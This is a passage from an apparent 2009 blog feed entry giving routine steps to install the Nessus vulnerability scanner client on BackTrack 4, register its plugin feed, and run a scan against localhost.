LISTEN&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;now Install NessusClient(the GUI Frontend to use nessusd)&lt;br /&gt;root@ThUndErbOLt:~# dpkg -i NessusClient-3.2.1-debian4_i386.deb&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;now register the plugin feed for updating nessus&lt;br /&gt;root@ThUndErbOLt:~#/opt/nessus/bin/nessus-fetch --register XXXX-XXXX-XXXX-XXXX(replace X with your keys)&lt;br /&gt;Your activation code has been registered properly - thank you.&lt;br /&gt;Now fetching the newest plugin set from plugins.nessus.org...&lt;br /&gt;now it will download the plugins and will purge them into database.if you don&#39;t wan&#39;t to do this now.press ctrl + c to cancel it.later you can download it using&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@ThUndErbOLt:~#/opt/nessus/sbin/nessus-update-plugins&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;run the scan using NessusClient&lt;br /&gt;backtrack menu-&gt;Internet-&gt;NessusClient&lt;br /&gt;click on + icon&lt;br /&gt;by default selected radiobox is single host&lt;br /&gt;type Host Name localhost &amp;amp; hit save&lt;br /&gt;select the localhost &amp;amp; press connect&lt;br /&gt;from connect option box choose edit&lt;br /&gt;set the Login &amp;amp; Password which we created earlier using nessus-adduser&lt;br /&gt;hit Save&lt;br /&gt;select localhost &amp;amp; hit connect&lt;br /&gt;first time it asks for logging into nessus server.hit yes&lt;br /&gt;&lt;br /&gt;now you can customize the default scan/microsoft scan policy and can scan.that&#39;s it!&lt;br /&gt;&lt;br /&gt;***note if you are having dependency issues with the Nessus Client use the following command: apt-get update</content><link rel='replies' type='application/atom+xml' href='http://www.defenceindepth.net/feeds/3500018771261193651/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.defenceindepth.net/2009/08/installing-nessus-on-backtrack-4.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/3500018771261193651'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/248147735868857337/posts/default/3500018771261193651'/><link rel='alternate' type='text/html' href='http://www.defenceindepth.net/2009/08/installing-nessus-on-backtrack-4.html' title='Installing Nessus on Backtrack 4'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>